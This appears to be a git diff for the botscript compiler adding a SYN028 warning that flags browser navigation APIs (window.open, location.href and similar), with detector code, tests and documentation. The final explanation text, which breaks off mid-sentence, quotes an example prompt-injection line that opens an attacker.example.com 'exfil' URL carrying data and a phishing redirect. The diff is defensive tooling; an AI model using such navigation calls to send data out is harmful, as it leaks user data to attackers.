diff --git a/AGENTS.md b/AGENTS.md index 01484c34..ee3d6e99 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -214,6 +214,7 @@ parse the resulting `{ ok: false, diagnostics: [...] }` envelope. | SYN019 | (0.7+, warning) A fn body calls `crypto.getRandomValues(buf)` or `crypto.randomUUID()` (including optional-chain forms `crypto?.getRandomValues(buf)` and optional-call forms `crypto.getRandomValues?.(buf)`). These calls generate cryptographic randomness at runtime but are invisible to botscript's capability model: `uses { random }` covers `random.*` stdlib calls (`random.next()`, `random.int()`), not the `crypto` global. A fn that calls these methods has an undeclared randomness dependency — tests cannot control the output and callers cannot observe the dependency from the fn header. Detection: `crypto` ident not preceded by `.`/`?.`, followed by `.` or `?.`, followed by `getRandomValues` or `randomUUID`, followed by `(` or `?.(`. Member calls (`obj.crypto.getRandomValues(...)`), non-randomness members (e.g. `crypto.subtle.digest(...)`), bare references, and `fn`/`function` declarations named `crypto` are excluded. `unsafe {}` blocks and `unsafe "reason" fn` bodies are suppressed. | Use `random.next()` or `random.int(min, max)` from the `random` stdlib with `uses { random }` when general randomness is sufficient. If cryptographic randomness or UUIDs are genuinely required, wrap in `unsafe "uses crypto for " { crypto.getRandomValues(buf) }`. | | SYN022 | (0.7+, warning) A fn body accesses `process.argv`, `process.cwd()`, `process.platform`, `process.arch`, `process.pid`, `process.ppid`, `process.version`, `process.versions`, `process.hrtime()`, `process.uptime()`, `process.memoryUsage()`, `process.cpuUsage()`, or `process.resourceUsage()`. These read ambient Node.js process state at runtime — OS identity, process tree, memory, CPU — invisible to botscript's capability model. Unlike `process.env` (SYN005) and `process.exit` (SYN006), which cover configuration and termination respectively, SYN022 targets the remaining ambient introspection surface. Detection: `process` ident not preceded by `.`/`?.`, followed by `.` or `?.`, member in the ambient-state set, optionally followed by `(` or `?.(`. Bare `process.*` references without a trailing `(` still fire. `obj.process.*` member calls, `unsafe {}` blocks, and `unsafe "reason" fn` bodies are excluded. `process.env` and `process.exit` are handled by SYN005/SYN006 and excluded here. | Pass the required ambient value as an explicit fn parameter so the dependency is visible in the call signature and tests can inject a mock. If direct `process.*` access is required at a bootstrap entry point, wrap in `unsafe "reads process state for " { process.argv }`. | | SYN023 | (0.7+, warning) A fn body accesses a high-concern `navigator.*` member: `geolocation`, `clipboard`, `mediaDevices`, `serviceWorker`, `permissions`, `onLine`, `userAgent`, `language`, `languages`, `platform`, `hardwareConcurrency`, `deviceMemory`, `connection`, or `wakeLock`. These expose ambient browser capability state — location, clipboard, media devices, background service workers, network connectivity, browser identity, and hardware specs — invisible to botscript's capability model. Detection: `navigator` ident not preceded by `.`/`?.`, followed by `.` or `?.`, member in the high-concern set. `obj.navigator.*` member calls, `fn`/`function`/`function*` declarations named `navigator`, members not in the listed set, `unsafe {}` blocks, and `unsafe "reason" fn` bodies are excluded. | Pass the required value as an explicit fn parameter so callers can see the dependency and tests can inject a mock. If direct `navigator.*` access is required, wrap in `unsafe "accesses navigator. for " { navigator. }`. | +| SYN028 | (0.7+, warning) A fn body uses a browser navigation API: `window.open()`, `globalThis.open()`, `self.open()`, `location.href = url`, `location.assign()`, `location.replace()`, or `location.reload()`. All cause real network activity at runtime but are invisible to botscript's capability model — none are covered by `uses { net }`, `reads {}`, or `writes {}`. In bot/agent contexts, prompt-injected content can redirect users to phishing pages or exfiltrate data as URL parameters via these APIs. Detection: `location` ident (not preceded by `.`/`?.`) followed by `.`/`?.` and `href =`, `assign(`, `replace(`, or `reload(`; OR `open` ident preceded by `.`/`?.` from an ambient receiver (`window`, `globalThis`, `self` — not itself a member access). `obj.location.*`, `obj.window.open`, fn/function/function* declarations named `location` or `open`, method shorthands, `unsafe {}` blocks, and `unsafe "reason" fn` bodies are excluded. | Pass a navigation callback as an explicit parameter so callers can see the dependency, or wrap in `unsafe "navigates for " { location.href = url }` when direct navigation is required at an entry point. | | INT002 | (0.7+) A fn declares `intent: "pure"` but its body directly references a stdlib capability (e.g. `http.get`, `fs.read`). Pure intent is enforced at the body level as well as the header. | Remove the stdlib call from the body, or change the intent. | | INT003 | (0.7+) A fn declares `intent: "idempotent"` but also has `uses { random }` or `uses { time }`. Both capabilities produce different values on each call, making the function non-idempotent. Only `random` and `time` are flagged; other capabilities are not structurally flagged by this check (INT003 is a narrow heuristic, not a proof of idempotence). | Remove `random`/`time` from `uses {}`, or change the intent. | | INT004 | (0.7+) A fn declares `intent: "idempotent"` but its body directly references `random` or `time` without declaring them. Under-declaration variant of INT003 — fires when INT003 does not. | Remove the non-idempotent call from the body, or declare the capability and remove the idempotent intent. | diff --git a/README.md b/README.md index 9a05c460..ab67d979 100644 --- a/README.md +++ b/README.md @@ -178,7 +178,7 @@ claude mcp add botscript -- npx -y @mbfarias/botscript-mcp | ----------- | -------------------------------------- | --------------------------------------------------------------------------------------------------- | | `primer` | (no args) | The canonical language primer (same text the `?primer` directive emits). | | `transform` | `{ source: string, filename?: string }` | `{ ok: true, code, forms, version, warnings: [...] }` on success, or `{ ok: false, diagnostics: [...] }` on failure. `warnings` is an array of non-blocking diagnostics (e.g. CAP003). | -| `explain` | `{ code: string }` | Long-form explanation for any stable diagnostic code (`ALI001`, `ALI002`, `ALI003`, `BS001`, `BS002`, `CAP001`–`CAP003`, `DEP001`–`DEP004`, `EFF002`–`EFF004`, `FMT001`, `INT001`–`INT005`, `MAT001`–`MAT004`, `RES001`, `RES002`, `SYN001`, `SYN002`, `SYN003`, `SYN004`, `SYN005`, `SYN006`, `SYN007`, `SYN008`, `SYN010`, `SYN011`, `SYN012`, `SYN013`, `SYN014`, `SYN016`, `SYN017`, `SYN018`, `SYN019`, `SYN022`, `SYN023`, `THR001`–`THR004`, `UNS001`–`UNS005`, `VER001`–`VER003`) plus a fails/passes example pair. | +| `explain` | `{ code: string }` | Long-form explanation for any stable diagnostic code (`ALI001`, `ALI002`, `ALI003`, `BS001`, `BS002`, `CAP001`–`CAP003`, `DEP001`–`DEP004`, `EFF002`–`EFF004`, `FMT001`, `INT001`–`INT005`, `MAT001`–`MAT004`, `RES001`, `RES002`, `SYN001`, `SYN002`, `SYN003`, `SYN004`, `SYN005`, `SYN006`, `SYN007`, `SYN008`, `SYN010`, `SYN011`, `SYN012`, `SYN013`, `SYN014`, `SYN016`, `SYN017`, `SYN018`, `SYN019`, `SYN022`, `SYN023`, `SYN028`, `THR001`–`THR004`, `UNS001`–`UNS005`, `VER001`–`VER003`) plus a fails/passes example pair. | A bot's loop becomes deterministic: `transform` → if `ok=false`, read `diagnostics[0].code` → `explain(code)` → apply `rewrite` → `transform` again. diff --git a/packages/compiler/src/error-codes.ts b/packages/compiler/src/error-codes.ts index 870026a4..983009ce 100644 --- a/packages/compiler/src/error-codes.ts +++ b/packages/compiler/src/error-codes.ts @@ -1085,6 +1085,36 @@ const E: Record = { " return userAgent\n" + "}", }, + SYN028: { + code: "SYN028", + title: "fn uses a navigation API that bypasses the net capability model (?bs 0.7+)", + rule: + "window.open(), globalThis.open(), self.open(), location.href=, location.assign(), " + + "location.replace(), and location.reload() all cause real network activity at runtime; " + + "none are covered by uses { net }, reads {}, or writes {} — callers cannot see the dependency", + idiom: + "pass a navigation callback as an explicit parameter so the dependency is visible in the fn header, " + + "or wrap in unsafe \"navigates for \" { ... } when direct navigation is required at an entry point", + rewrite: "fn name(navigate: (url: string) -> void, ...) -> ...", + example: + "// SYN028: location.href = url bypasses the capability model\n" + + "?bs 0.7\n" + + "fn redirectTo(url: string) -> void {\n" + + " location.href = url // SYN028\n" + + "}\n\n" + + "// SYN028: window.open() opens a new context without net declaration\n" + + "fn openTab(url: string) -> void {\n" + + " window.open(url, '_blank') // SYN028\n" + + "}\n\n" + + "// fix: pass navigation as a parameter\n" + + "fn redirectTo(navigate: (url: string) -> void, url: string) -> void {\n" + + " navigate(url)\n" + + "}\n\n" + + "// or use unsafe when navigation is genuinely required at an entry point\n" + + "fn redirectTo(url: string) -> void {\n" + + " unsafe \"redirects to login page\" { location.href = url }\n" + + "}", + }, DEP001: { code: "DEP001", title: "fn transitively reads a resource category not declared in its header", diff --git a/packages/compiler/src/passes/syn-check.ts b/packages/compiler/src/passes/syn-check.ts index d3d1ad24..8441de53 100644 --- a/packages/compiler/src/passes/syn-check.ts +++ b/packages/compiler/src/passes/syn-check.ts @@ -182,6 +182,23 @@ * named `navigator`, member accesses not in the high-concern list above. * `unsafe {}` blocks and `unsafe "reason" fn` bodies are suppressed. * + * SYN028 A navigation API call was detected in a fn body (?bs 0.7+): + * - `window.open(url, ...)`, `globalThis.open(url, ...)`, `self.open(url, ...)` — + * opens a new browsing context and issues a real HTTP request; the URL is sent to + * the network and is invisible to the capability model even when `uses { net }` is + * declared, because `uses { net }` covers stdlib calls, not navigation APIs. + * - `location.href = url` — full-page navigation; equivalent to a GET request. + * - `location.assign(url)`, `location.replace(url)` — navigation without/with history. + * - `location.reload()` — reissues the current request. + * All of these cause real network activity but are invisible to the capability model. + * In bot/agent contexts, prompt-injected code can redirect users to phishing pages or + * exfiltrate data as URL parameters — harder to intercept than fetch() (no ServiceWorker, + * no CSP connect-src unless combined with navigate-to). + * Excluded: `obj.location.*` (location as a member of a local binding), + * `obj.window.open` (non-ambient receiver), fn/function/function* declarations + * named `location` or `open`, method shorthands. + * `unsafe {}` blocks and `unsafe "reason" fn` bodies are suppressed. + * * All checks share a single token scan per fn body. The outer loop runs once, * skipping nested fn bodies once. Per-token dispatch is a switch on tok.text * after a kind==="ident" guard. @@ -229,6 +246,10 @@ const SYN023_NAVIGATOR_MEMBERS = new Set([ "onLine", "userAgent", "language", "languages", "platform", "hardwareConcurrency", "deviceMemory", "connection", "wakeLock", ]); +// location.* members covered by SYN028 (navigation API bypass) +const SYN028_LOCATION_CALL_MEMBERS = new Set(["assign", "replace", "reload"]); +// Ambient global receivers for window.open() covered by SYN028 +const SYN028_AMBIENT_GLOBALS = new Set(["window", "globalThis", "self"]); export function passSynCheck(src: string, version: VersionInfo): SynCheckResult { if (!atLeast(version.resolved, "0.7")) return { code: src, warnings: [] }; @@ -255,6 +276,7 @@ export function passSynCheck(src: string, version: VersionInfo): SynCheckResult const syn019 = getErrorCode("SYN019")!; const syn022 = getErrorCode("SYN022")!; const syn023 = getErrorCode("SYN023")!; + const syn028 = getErrorCode("SYN028")!; // Collect char-offset ranges where all SYN checks are suppressed: // 1. `unsafe "reason" { ... }` expression blocks — explicit acknowledgment. @@ -1683,6 +1705,180 @@ export function passSynCheck(src: string, version: VersionInfo): SynCheckResult break; } + // ── SYN028: location.href=, location.assign/replace/reload(), window.open() ─ + case "location": { + // Exclude non-ambient member access: obj.location.href = ... + const prevIdx28loc = prevSignificant(tokens, i - 1); + const prev28loc = tokens[prevIdx28loc]; + if (prev28loc && ((prev28loc.kind === "punct" && prev28loc.text === ".") || prev28loc.kind === "questionDot")) + continue; + + // Exclude fn/function/function* declarations named location + if (prev28loc && prev28loc.kind === "keyword" && prev28loc.text === "fn") continue; + if (prev28loc && prev28loc.kind === "ident" && prev28loc.text === "function") continue; + if (isFunctionStarDecl(tokens, prevIdx28loc)) continue; + + // Must be followed by `.` or `?.` + const dotIdx28loc = nextSignificant(tokens, i + 1); + const dotTok28loc = tokens[dotIdx28loc]; + const isDot28loc = dotTok28loc && dotTok28loc.kind === "punct" && dotTok28loc.text === "."; + const isOptChain28loc = dotTok28loc && dotTok28loc.kind === "questionDot"; + if (!isDot28loc && !isOptChain28loc) continue; + + // Member must be href, assign, replace, or reload + const memberIdx28loc = nextSignificant(tokens, dotIdx28loc + 1); + const memberTok28loc = tokens[memberIdx28loc]; + if (!memberTok28loc || memberTok28loc.kind !== "ident") continue; + const memberName28loc = memberTok28loc.text; + + const sep28loc = isOptChain28loc ? "?." : "."; + + if (memberName28loc === "href") { + // Optional chaining on the LHS of an assignment (`location?.href = url`) is + // invalid JS/TS syntax — only `location.href = url` is a valid assignment target. + if (isOptChain28loc) continue; + + // Must be followed by `=` (assignment). The lexer emits `=` as kind "eq", + // while `==` and `===` are kind "operator" — so checking for "eq" is precise. + const afterHrefIdx = nextSignificant(tokens, memberIdx28loc + 1); + const afterHref = tokens[afterHrefIdx]; + if (!afterHref || afterHref.kind !== "eq") continue; + + if (isInsideRange(tok.start, unsafeRanges)) continue; + + const loc28href = locationOf(src, tok.start); + warnings.push({ + code: "SYN028", + severity: "warning", + file: null, + line: loc28href.line, + column: loc28href.column, + start: tok.start, + end: afterHref.end, + message: + `fn '${decl.name}' assigns location.href — ` + + `location.href = url triggers a full-page navigation invisible to the capability model; ` + + `uses { net } does not cover navigation APIs even when declared; ` + + `pass a navigation callback as a parameter so callers can see the dependency, ` + + `or wrap in unsafe "navigates to " { location.href = url }`, + rule: syn028.rule, + idiom: syn028.idiom, + rewrite: syn028.rewrite, + }); + break; + } + + if (SYN028_LOCATION_CALL_MEMBERS.has(memberName28loc)) { + // Must be followed by `(` or `?.(` — confirming this is a call + let afterMemberIdx28loc = nextSignificant(tokens, memberIdx28loc + 1); + let afterMember28loc = tokens[afterMemberIdx28loc]; + let isCallOpt28loc = false; + if (afterMember28loc && afterMember28loc.kind === "questionDot") { + isCallOpt28loc = true; + afterMemberIdx28loc = nextSignificant(tokens, afterMemberIdx28loc + 1); + afterMember28loc = tokens[afterMemberIdx28loc]; + } + if (!afterMember28loc || !(afterMember28loc.kind === "open" && afterMember28loc.text === "(")) continue; + + if (isInsideRange(tok.start, unsafeRanges)) continue; + + const callSep28loc = isCallOpt28loc ? "?." : ""; + const loc28call = locationOf(src, tok.start); + warnings.push({ + code: "SYN028", + severity: "warning", + file: null, + line: loc28call.line, + column: loc28call.column, + start: tok.start, + end: afterMember28loc.start + 1, + message: + `fn '${decl.name}' calls location${sep28loc}${memberName28loc}${callSep28loc}() — ` + + `location.${memberName28loc} triggers navigation invisible to the capability model; ` + + `uses { net } does not cover navigation APIs even when declared; ` + + `pass a navigation callback as a parameter so callers can see the dependency, ` + + `or wrap in unsafe "navigates for " { location${sep28loc}${memberName28loc}${callSep28loc}(${memberName28loc === "reload" ? "" : "url"}) }`, + rule: syn028.rule, + idiom: syn028.idiom, + rewrite: syn028.rewrite, + }); + break; + } + + continue; + } + + case "open": { + // Only detect window.open / globalThis.open / self.open — not bare open() (too noisy). + const prevIdx28open = prevSignificant(tokens, i - 1); + const prev28open = tokens[prevIdx28open]; + + // Must be preceded by `.` or `?.` + if (!prev28open || !( + (prev28open.kind === "punct" && prev28open.text === ".") || + prev28open.kind === "questionDot" + )) continue; + + // The token before the dot must be an ambient global (window/globalThis/self) + // and must not itself be a member access (not preceded by `.`). + const receiverIdx28 = prevSignificant(tokens, prevIdx28open - 1); + const receiver28 = tokens[receiverIdx28]; + if (!receiver28 || receiver28.kind !== "ident" || !SYN028_AMBIENT_GLOBALS.has(receiver28.text)) continue; + const beforeReceiverIdx = prevSignificant(tokens, receiverIdx28 - 1); + const beforeReceiver = tokens[beforeReceiverIdx]; + if (beforeReceiver && ( + (beforeReceiver.kind === "punct" && beforeReceiver.text === ".") || + beforeReceiver.kind === "questionDot" + )) continue; + + // Must be followed by `(` or `?.(` — confirming this is a call + let afterIdx28open = nextSignificant(tokens, i + 1); + let afterTok28open = tokens[afterIdx28open]; + let isOpt28open = false; + if (afterTok28open && afterTok28open.kind === "questionDot") { + isOpt28open = true; + afterIdx28open = nextSignificant(tokens, afterIdx28open + 1); + afterTok28open = tokens[afterIdx28open]; + } + if (!afterTok28open || !(afterTok28open.kind === "open" && afterTok28open.text === "(")) continue; + + // Exclude method shorthands: { open(url) { ... } } + if (afterTok28open.matchedAt !== undefined) { + const afterParen28open = tokens[nextSignificant(tokens, afterTok28open.matchedAt + 1)]; + if ( + afterParen28open && + ((afterParen28open.kind === "open" && afterParen28open.text === "{") || + (afterParen28open.kind === "punct" && afterParen28open.text === ":")) + ) continue; + } + + if (isInsideRange(tok.start, unsafeRanges)) continue; + + const receiverName28 = receiver28.text; + const dotSep28open = prev28open.kind === "questionDot" ? "?." : "."; + const callSep28open = isOpt28open ? "?." : ""; + const loc28open = locationOf(src, receiver28.start); + warnings.push({ + code: "SYN028", + severity: "warning", + file: null, + line: loc28open.line, + column: loc28open.column, + start: receiver28.start, + end: afterTok28open.start + 1, + message: + `fn '${decl.name}' calls ${receiverName28}${dotSep28open}open${callSep28open}() — ` + + `${receiverName28}.open() opens a new browsing context and issues an HTTP request invisible to the capability model; ` + + `uses { net } does not cover navigation APIs even when declared; ` + + `pass a navigation callback as a parameter so callers can see the dependency, ` + + `or wrap in unsafe "opens window for " { ${receiverName28}${dotSep28open}open${callSep28open}(url, ...) }`, + rule: syn028.rule, + idiom: syn028.idiom, + rewrite: syn028.rewrite, + }); + break; + } + // ── SYN010: setTimeout / setInterval / queueMicrotask ──────────────── default: { if (!TIMER_GLOBALS.has(tok.text)) continue; diff --git a/packages/compiler/tests/error-codes.test.ts b/packages/compiler/tests/error-codes.test.ts index 5d061660..925c7e47 100644 --- a/packages/compiler/tests/error-codes.test.ts +++ b/packages/compiler/tests/error-codes.test.ts @@ -15,7 +15,7 @@ describe("error-code registry", () => { "INT001", "INT002", "INT003", "INT004", "INT005", "MAT001", "MAT002", "MAT003", "MAT004", "RES001", "RES002", - "SYN001", "SYN002", "SYN003", "SYN004", "SYN005", "SYN006", "SYN007", "SYN008", "SYN010", "SYN011", "SYN012", "SYN013", "SYN014", "SYN016", "SYN017", "SYN018", "SYN019", "SYN022", "SYN023", + "SYN001", "SYN002", "SYN003", "SYN004", "SYN005", "SYN006", "SYN007", "SYN008", "SYN010", "SYN011", "SYN012", "SYN013", "SYN014", "SYN016", "SYN017", "SYN018", "SYN019", "SYN022", "SYN023", "SYN028", "THR001", "THR002", "THR003", "THR004", "UNS001", "UNS002", "UNS003", "UNS004", "UNS005", "VER001", "VER002", "VER003", diff --git a/packages/compiler/tests/syn028-check.test.ts b/packages/compiler/tests/syn028-check.test.ts new file mode 100644 index 00000000..322d6536 --- /dev/null +++ b/packages/compiler/tests/syn028-check.test.ts @@ -0,0 +1,400 @@ +/** + * Tests for SYN028: navigation API bypass detection (?bs 0.7+). + * + * Covers: + * - location.href = url (assignment) + * - location.assign(url), location.replace(url), location.reload() (calls) + * - window.open(url), globalThis.open(url), self.open(url) (ambient-global calls) + */ + +import { describe, expect, it } from "vitest"; +import { transform } from "../src/index.js"; + +function compile(src: string) { + return transform(src, {}); +} + +// --------------------------------------------------------------------------- +// location.href = url +// --------------------------------------------------------------------------- + +describe("SYN028 — location.href assignment", () => { + it("fires on location.href = url", () => { + const src = + "?bs 0.7\n" + + "fn redirectTo(url: string) -> void {\n" + + " location.href = url\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("does NOT fire on location?.href = url (invalid LHS — optional chaining cannot be an assignment target)", () => { + // `location?.href = url` is syntactically invalid JS/TS: optional chaining is not + // allowed on the left-hand side of an assignment. SYN028 must not fire on this form. + const src = + "?bs 0.7\n" + + "fn redirectTo(url: string) -> void {\n" + + " location?.href = url\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("warning message includes fn name and location.href", () => { + const src = + "?bs 0.7\n" + + "fn redirectTo(url: string) -> void {\n" + + " location.href = url\n" + + "}\n"; + const result = compile(src); + const w = result.warnings.find((w) => w.code === "SYN028"); + expect(w).toBeDefined(); + expect(w!.message).toContain("redirectTo"); + expect(w!.message).toContain("location"); + expect(w!.message).toContain("href"); + expect(w!.severity).toBe("warning"); + }); + + it("does NOT fire on location.href comparison (==, ===)", () => { + const src = + "?bs 0.7\n" + + "fn isRoot() -> bool {\n" + + " return location.href === '/'\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire on obj.location.href = url (non-ambient receiver)", () => { + const src = + "?bs 0.7\n" + + "fn go(ctx: any, url: string) -> void {\n" + + " ctx.location.href = url\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire below ?bs 0.7", () => { + const src = + "?bs 0.1\n" + + "fn f(url: string) -> void {\n" + + " location.href = url\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire inside an unsafe block", () => { + const src = + "?bs 0.7\n" + + "fn redirectTo(url: string) -> void {\n" + + " unsafe \"redirects to login page\" { location.href = url }\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire inside an unsafe fn body", () => { + const src = + "?bs 0.7\n" + + "unsafe \"navigation entry point\" fn redirectTo(url: string) -> void {\n" + + " location.href = url\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire on bare location reference (no member access)", () => { + const src = + "?bs 0.7\n" + + "fn getRef() -> any {\n" + + " return location\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire on location.search or other non-navigation members", () => { + const src = + "?bs 0.7\n" + + "fn getQuery() -> string {\n" + + " return location.search\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); +}); + +// --------------------------------------------------------------------------- +// location.assign(), location.replace(), location.reload() +// --------------------------------------------------------------------------- + +describe("SYN028 — location method calls", () => { + it("fires on location.assign(url)", () => { + const src = + "?bs 0.7\n" + + "fn goTo(url: string) -> void {\n" + + " location.assign(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("fires on location.replace(url)", () => { + const src = + "?bs 0.7\n" + + "fn goTo(url: string) -> void {\n" + + " location.replace(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("fires on location.reload()", () => { + const src = + "?bs 0.7\n" + + "fn refresh() -> void {\n" + + " location.reload()\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("reload message unsafe suggestion uses () not (url)", () => { + const src = + "?bs 0.7\n" + + "fn refresh() -> void {\n" + + " location.reload()\n" + + "}\n"; + const result = compile(src); + const w = result.warnings.find((w) => w.code === "SYN028"); + expect(w).toBeDefined(); + // location.reload() takes no URL argument — the safe-wrap suggestion must not say (url) + expect(w!.message).toContain("reload()"); + expect(w!.message).not.toContain("reload(url)"); + }); + + it("fires on location?.assign(url) — optional-chain receiver", () => { + const src = + "?bs 0.7\n" + + "fn goTo(url: string) -> void {\n" + + " location?.assign(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("fires on location.assign?.(url) — optional-call form", () => { + const src = + "?bs 0.7\n" + + "fn goTo(url: string) -> void {\n" + + " location.assign?.(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("warning message includes fn name and method name", () => { + const src = + "?bs 0.7\n" + + "fn goTo(url: string) -> void {\n" + + " location.assign(url)\n" + + "}\n"; + const result = compile(src); + const w = result.warnings.find((w) => w.code === "SYN028"); + expect(w).toBeDefined(); + expect(w!.message).toContain("goTo"); + expect(w!.message).toContain("assign"); + expect(w!.severity).toBe("warning"); + }); + + it("does NOT fire on obj.location.assign(url) (non-ambient)", () => { + const src = + "?bs 0.7\n" + + "fn go(ctx: any, url: string) -> void {\n" + + " ctx.location.assign(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire inside an unsafe fn body", () => { + const src = + "?bs 0.7\n" + + "unsafe \"navigation entry point\" fn goTo(url: string) -> void {\n" + + " location.assign(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire on fn declaration named location", () => { + const src = + "?bs 0.7\n" + + "fn location(url: string) -> void { }\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire on function declaration named location", () => { + const src = + "?bs 0.7\n" + + "function location(url: string) { }\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); +}); + +// --------------------------------------------------------------------------- +// window.open(), globalThis.open(), self.open() +// --------------------------------------------------------------------------- + +describe("SYN028 — window.open() and ambient-global variants", () => { + it("fires on window.open(url)", () => { + const src = + "?bs 0.7\n" + + "fn openTab(url: string) -> void {\n" + + " window.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("fires on globalThis.open(url)", () => { + const src = + "?bs 0.7\n" + + "fn openTab(url: string) -> void {\n" + + " globalThis.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("fires on self.open(url)", () => { + const src = + "?bs 0.7\n" + + "fn openTab(url: string) -> void {\n" + + " self.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("fires on window?.open(url) — optional-chain receiver", () => { + const src = + "?bs 0.7\n" + + "fn openTab(url: string) -> void {\n" + + " window?.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("warning message includes fn name and window.open", () => { + const src = + "?bs 0.7\n" + + "fn openTab(url: string) -> void {\n" + + " window.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + const w = result.warnings.find((w) => w.code === "SYN028"); + expect(w).toBeDefined(); + expect(w!.message).toContain("openTab"); + expect(w!.message).toContain("window"); + expect(w!.message).toContain("open"); + expect(w!.severity).toBe("warning"); + }); + + it("warning message for globalThis.open uses globalThis (not window)", () => { + const src = + "?bs 0.7\n" + + "fn openTab(url: string) -> void {\n" + + " globalThis.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + const w = result.warnings.find((w) => w.code === "SYN028"); + expect(w).toBeDefined(); + expect(w!.message).toContain("globalThis"); + expect(w!.message).not.toContain("window.open()"); + }); + + it("does NOT fire on obj.window.open(url) (non-ambient receiver)", () => { + const src = + "?bs 0.7\n" + + "fn openTab(ctx: any, url: string) -> void {\n" + + " ctx.window.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire on someObj.open(url) (non-ambient receiver)", () => { + const src = + "?bs 0.7\n" + + "fn openFile(fileHandle: any, path: string) -> void {\n" + + " fileHandle.open(path)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire below ?bs 0.7", () => { + const src = + "?bs 0.1\n" + + "fn f(url: string) -> void {\n" + + " window.open(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire inside an unsafe block", () => { + const src = + "?bs 0.7\n" + + "fn openTab(url: string) -> void {\n" + + " unsafe \"opens help window\" { window.open(url, '_blank') }\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire inside an unsafe fn body", () => { + const src = + "?bs 0.7\n" + + "unsafe \"navigation entry point\" fn openTab(url: string) -> void {\n" + + " window.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); +}); + +// --------------------------------------------------------------------------- +// Registry +// --------------------------------------------------------------------------- + +describe("SYN028 registry", () => { + it("carries rule and rewrite from registry", () => { + const src = + "?bs 0.7\n" + + "fn f(url: string) -> void { location.href = url }\n"; + const result = compile(src); + const w = result.warnings.find((w) => w.code === "SYN028"); + expect(w?.rule).toBeTruthy(); + expect(w?.rewrite).toBeTruthy(); + }); + + it("fires multiple SYN028s when multiple navigation APIs appear in one fn", () => { + const src = + "?bs 0.7\n" + + "fn f(url: string) -> void {\n" + + " location.href = url\n" + + " window.open(url, '_blank')\n" + + " location.assign(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.filter((w) => w.code === "SYN028").length).toBe(3); + }); +}); diff --git a/packages/mcp/src/explanations.ts b/packages/mcp/src/explanations.ts index 53475fb5..13217951 100644 --- a/packages/mcp/src/explanations.ts +++ b/packages/mcp/src/explanations.ts @@ -1386,6 +1386,50 @@ export const EXPLANATIONS: Readonly> = { "}\n", }, }, + SYN028: { + code: "SYN028", + title: "fn uses a navigation API that bypasses the net capability model (?bs 0.7+)", + body: + "SYN028 fires when a fn body uses a browser navigation API at `?bs 0.7+`:\n\n" + + "- `window.open(url, ...)`, `globalThis.open(url, ...)`, `self.open(url, ...)` — opens a " + + "new browsing context and issues an HTTP request to `url`; the URL is sent to the network.\n" + + "- `location.href = url` — triggers a full-page navigation; equivalent to a GET request.\n" + + "- `location.assign(url)`, `location.replace(url)` — navigation calls with/without history entry.\n" + + "- `location.reload()` — reissues the current request.\n\n" + + "None of these are covered by `uses { net }`, `reads {}`, or `writes {}` — they are " + + "invisible to botscript's capability model. A fn that calls them has an undeclared network " + + "dependency: callers cannot see it, and tests cannot intercept or mock the navigation.\n\n" + + "**Security angle:** In bot/agent contexts, prompt-injected content can call " + + "`location.href = 'https://phishing.example.com'` or `window.open('https://attacker.example.com/exfil?data=...')` " + + "to redirect users to phishing pages or exfiltrate data as URL parameters. These are harder " + + "to intercept than `fetch()` — no ServiceWorker intercepts navigations by default, and " + + "CSP `connect-src` does not cover `navigate-to` 